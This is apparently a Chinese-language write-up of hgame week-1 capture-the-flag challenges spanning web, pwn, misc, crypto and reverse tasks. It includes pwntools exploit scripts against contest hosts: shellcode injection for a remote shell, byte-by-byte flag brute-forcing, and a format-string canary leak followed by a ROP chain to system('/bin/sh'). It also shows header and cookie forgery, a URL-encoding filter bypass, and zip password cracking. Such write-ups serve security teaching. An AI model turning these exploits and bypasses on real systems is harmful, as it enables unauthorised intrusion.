给了提示 vim ,于是想到 .swp 备份文件
访问:
http://118.25.111.31:10086/.index.html.swp
下载到备份文件后,直接用 notepad++ 打开,划到最后就可以看到 flag
也可以用 vim 命令恢复出源文件再提交 flag
vim -r .index.html.swp
根据题目名字猜想可能是该写 HTTP 头来绕过一些限制或者满足一些条件。
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Waterfox/50.0
即加上 Referer 字段,值为 www.bilibili.com
注意这里不需要 http/https
最后一步伪造 cookie,admin = 1 即可
简单的代码审计题目
<?php
error_reporting(0);
include("flag.php");
if(strpos("vidar",$_GET['id'])!==FALSE)
die("<p>干巴爹</p>");
$_GET['id'] = urldecode($_GET['id']);
if($_GET['id'] === "vidar")
{
echo $flag;
}
highlight_file(__FILE__);
?>
仔细看题目,没有办法直接从 strpos 函数的使用不当下手
参考:https://www.freebuf.com/column/182124.html
也没有办法从弱类型下手,因为这里是 !==、=== ,而不是 !=、==
看到后面有一个 urldecode 函数,所以构造下 "vidar" 的 url 编码
http://120.78.184.111:8080/week1/very_ez/index.php?id=%76%69%64%61%72
但是会发现没用的,原因是在你输入的时候,浏览器帮你的 url 先解码了一遍。所以后面的 urldecode 函数就没用上,所以这里需要二次 urlencode。
http://120.78.184.111:8080/week1/very_ez/index.php?=%25%37%36%25%36%39%25%36%34%25%36%31%25%37%32
右键源代码发现 f12.php,访问提示需要 POST 一个 password 字段
在返回包头里有 password 的值,给他提交上
提交后访问 iamflag.php 得到 flag
checksec 查看保护,保护全无,可以直接往栈上填充数据
这题没办法用 IDA 直接 f5 ,只能在 IDA 或者 gdb 动态调试一步步跟
程序大概的逻辑是先调用 read 函数接受 0x50 的输入,再将输入的逐个字节与1、2、3...进行异或。
最后会调用 call rdx,rdx 的位置来自 buf ,rax 作为指针在 buf 中赋值 [rbp+rax+buf],所以这里就需要我们输入填充异或后的 shellcode 到 buf 中
在这里找一个 shellcode 的十六进制编码
http://shell-storm.org/shellcode/files/shellcode-866.php?tdsourcetag=s_pctim_aiomsg
用脚本对 shellcode 进行逐个异或,然后 send 即可
from pwn import *
#p = process('babysc')
p = remote('118.24.3.214',10000)
a = "\x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
b = ""
for i in range(1,len(a)+1):
b+=chr(i^ord(a[i-1]))
pause()
p.sendline(b)
p.interactive()
丢 IDA,在 main 函数中 f5,逻辑很简单:
需要你只能输入 a ,只要你输入的 a 的数量大于 99,就 break 出 while 循环,执行到后面的 system 函数。
本地测试直接 getshell,远程也是一样的, nc 连上 getshell
IDA 打开 main 函数,程序的逻辑很简单,先打开服务器下的 flag ,输出内容到 buf 缓冲区中,接着接受输入,如果输入的和 buf 的内容相等就会输出正确的信息。
问题出在 strlen 和 strncmp 函数的配合使用,因为 strlen 函数是以 \x00 截断的,如果我们手动输入的字符串后面加上 \x00 的话,就会满足 strncmp 函数的判断
所以我们可以一步步的爆破出 flag。注意在爆破成功一位出来时,需要重新连接远程服务器
脚本写的还是存在一些问题,但是可以出结果就行了。最后手动加上 "}"
from pwn import *
def init():
p = remote('118.24.3.214',10001)
for i in range(10):
p.sendline('1')
if '......' in p.recvline():
break
p.recvline()
p.recvline()
return p
flaggggggg = "hga"
for x in range(33):
p = init()
for i in range(10,255):
p.send(flaggggggg + chr(i) +'\x00')
res = p.recvline()
info(res)
if '......' not in res:
success(chr(i))
flaggggggg += chr(i)
success('flag is : %s'%flaggggggg)
break
p.recvline()
p.interactive()
hgame{Ch1p_1s_Awakking!}
这题利用起来还是挺麻烦的。checksec 检查有 canary 保护。
IDA 打开 main 函数,发现有五个函数,第二个和第五个一样
并且在左边的函数列表中发现有 system 函数。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
sub_400AF1();
sub_400A91(sub_4008F6);
sub_400A91(sub_400958);
sub_400A91(sub_400A00);
sub_400A91(sub_4008F6);
return 0LL;
}
第一个函数中初始化操作,读取一个随机数,接受一个输入到 bss 段,这里我们先填入 "/bin/sh",方便后面调用 system 函数
直接构造
'a' * 0x30 + '\x33\x23'
gdb 本地调试可以看到 v0 的值就在输入的格式化字符串的边上,也就是输入 "%7$p"(64 位的程序是从 7 偏移开始才能读出栈的数据的,不注意的话这是个坑点)
f"*0x1c + p32(0x6666) + "f" * 0x10 +p32(v4)
最后的利用脚本:
from pwn import *
#context.log_level = "debug"
p = remote('118.24.3.214', 10002)
p.recvuntil("ID:")
d = 0x602040
p.sendline("/bin/sh\x00")
p.recvuntil("world.\n")
payload = "f"*0x30
payload += "\x33\x23"
p.send(payload)
p.recvuntil("man.\n")
p.send("%7$p")
i = int(p.recv(numb=10),16) + 0x1234
p.recvuntil("it?\n")
p.send("f"*0x1c + p32(0x6666) + "f" * 0x10 +p32(i))
p.recvuntil("debts.\n")
p.send("%11$p")
canary = int(p.recv(numb=18),16)
success("canary ===> " + hex(canary))
p.recvuntil("world.\n")
payload = 0x30 * "a"
payload += "\x33\x23"
payload = payload.ljust(0x38,"\x00")
payload += p64(canary)
payload += p64(0x00)
payload += p64(0x400c73)
payload += p64(d)
payload += p64(0x400A89)
p.send(payload)
p.interactive()
直接把图片放到 stegslove 里,向右多点几次就出来
hgame{LSB_is_easy_for_u}
提示给了谷歌识图,那么就识图一波,发现这是一个漫画中出现的打字机。
然而这个图片出给的只有大写以及数字的对应关系,没有小写字母对应的关系,导致 flag.png 中的一些字符无法一一对应
最后在这里找到了对应关系,相当于是把小写字母的对应关系破译出来了。
https://www.bilibili.com/read/cv142910/
小写字母的映射表:
最后把三个图对应起来得到 flag
hgame{My_vi0let_tyPewRiter}
zip 文件修复,用 winhex 打开,把开头的 4F 改成 50
打开时候,发现了 zip 文件的注释 "S0mETh1ng_U5efuL",这个也就是压缩包的密码
输入密码打开文件,得到 flag
用 wireshark 打开数据包,过滤出 HTTP 报文,发现有两个文件可以提取出来。一个是 png,另外一个 zip
在相应的返回包上右键 -> 导出分组字节流
导出之后,发现图片没什么用,但是 zip 包还可以提取
解压后的 password.txt 文件打开之后,后面的字符用 * 号打码了,于是想到了掩码爆破(直觉猜测应该都是数字)
使用 Ziperello 打开压缩包文件 open-it.zip
破解模式选择基于模块的破解(也就是掩码爆破),按照左边的密码模板填完后,下一步
很快就会破解出来压缩包的密码
用破解出来用密码解压出压缩包,发现下面有张图片
放到 winhex 中,发现图片里面还有一个 docx 文件。
用 foremost 提取出来是个压缩包,解压发现需要密码,尝试伪加密的解密(在 winhex 中直接改控制位就行了)
成功解密出来 docx 文件。
打开发现是空白,然后在 word 中把显示隐藏文字的选项打开,就可以看到 flag
首先摩斯密码解密:
http://www.zhongguosou.com/zonghe/moErSiCodeConverter.aspx
解码出来发现是十六进制,在这里继续解码
https://wishingstarmoye.com/tools/ascii
观察特征,拿到这样的字符串一般就是凯撒和栅栏的混合加密。
这里面没有 hgame 这几个字符,所以需要先用凯撒转换一下。
https://wishingstarmoye.com/ctf/caesar
找到有 hgame 字符的字符串,如下
使用栅栏解密,2 个一栏就可以解除 flag
hgame{E4sY_cRypt0}
三次 base64 解码,三次 base16(相当于十六进制的 ascii 码转字符),base32 两次即可解出。(字符串太长了就不贴出来了。。。)
IDA 进去 main 函数直接 f5 就可以看到 flag,不多说。
IDA 打开程序,在 v31 到 v35 处按下 r 会出现字符串,但是这个 flag 提交显然不对,因为后面有这个字符串异或的操作
s[i] != (v6[i] ^ *(&v31 + i))
也就是将 fake flag 与一系列的变量异或,得到的就是 flag
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax@2
__int64 v4; // rsi@9
signed int i; // [sp+8h] [bp-138h]@3
int v6[6]; // [sp+10h] [bp-130h]@1
int v7; // [sp+28h] [bp-118h]@1
int v8; // [sp+30h] [bp-110h]@1
int v9; // [sp+38h] [bp-108h]@1
int v10; // [sp+3Ch] [bp-104h]@1
int v11; // [sp+40h] [bp-100h]@1
int v12; // [sp+44h] [bp-FCh]@1
int v13; // [sp+48h] [bp-F8h]@1
int v14; // [sp+4Ch] [bp-F4h]@1
int v15; // [sp+50h] [bp-F0h]@1
int v16; // [sp+54h] [bp-ECh]@1
int v17; // [sp+5Ch] [bp-E4h]@1
int v18; // [sp+60h] [bp-E0h]@1
int v19; // [sp+64h] [bp-DCh]@1
int v20; // [sp+68h] [bp-D8h]@1
int v21; // [sp+6Ch] [bp-D4h]@1
int v22; // [sp+70h] [bp-D0h]@1
int v23; // [sp+74h] [bp-CCh]@1
int v24; // [sp+78h] [bp-C8h]@1
int v25; // [sp+80h] [bp-C0h]@1
int v26; // [sp+84h] [bp-BCh]@1
int v27; // [sp+88h] [bp-B8h]@1
int v28; // [sp+8Ch] [bp-B4h]@1
int v29; // [sp+90h] [bp-B0h]@1
int v30; // [sp+94h] [bp-ACh]@1
__int64 v31; // [sp+A0h] [bp-A0h]@1
__int64 v32; // [sp+A8h] [bp-98h]@1
__int64 v33; // [sp+B0h] [bp-90h]@1
__int64 v34; // [sp+B8h] [bp-88h]@1
int v35; // [sp+C0h] [bp-80h]@1
char s[104]; // [sp+D0h] [bp-70h]@1
__int64 v37; // [sp+138h] [bp-8h]@1
v37 = *MK_FP(__FS__, 40LL);
v31 = '0Y{emagh';
v32 = '_3byam_u';
v33 = '1ht_deen';
v34 = '!!!en0_s';
v35 = '}!!';
memset(v6, 0, 0x90uLL); //应该是 memset(v6, 0, 6);
v7 = 1;
v8 = 7;
v9 = 92;
v10 = 18;
v11 = 38;
v12 = 11;
v13 = 93;
v14 = 43;
v15 = 11;
v16 = 23;
v17 = 23;
v18 = 43;
v19 = 69;
v20 = 6;
v21 = 86;
v22 = 44;
v23 = 54;
v24 = 67;
v25 = 66;
v26 = 85;
v27 = 126;
v28 = 72;
v29 = 85;
v30 = 30;
puts("Input the flag:");
__isoc99_scanf("%s", s);
if ( strlen(s) == 35 )
{
for ( i = 0; i < 35; ++i )
{
if ( s[i] != (v6[i] ^ *(&v31 + i)) )
{
puts("Wrong flag , try again later!");
result = 0;
goto LABEL_9;
}
}
puts("You are right! Congratulations!!");
result = 0;
}
else
{
puts("Wrong flag , try again later!");
result = 0;
}
LABEL_9:
v4 = *MK_FP(__FS__, 40LL) ^ v37;
return result;
}
最后将这个 fake flag 与这些变量逐个异或即可。
l = [0,0,0,0,0,0,1,7,92,18,38,11,93,43,11,23,23,43,69,6,86,44,54,67,66,85,126,72,85,30]
v31 = '0Y{emagh';
v32 = '_3byam_u';
v33 = '1ht_deen';
v34 = '!!!en0_s';
v35 = '}!!';
f = v31[::-1]+v32[::-1]+v33[::-1]+v34[::-1]+v35[::-1]
flag = ''
for i in range(len(l)):
flag += chr(ord(f[i])^l[i])
print flag
这道题也可以使用 angr 来跑出 flag,具体的步骤就不多说了。
将中间的字符串 base64 解码拼接三段就可以得到 flag
hgame{Here_1s_3asy_Pyth0n}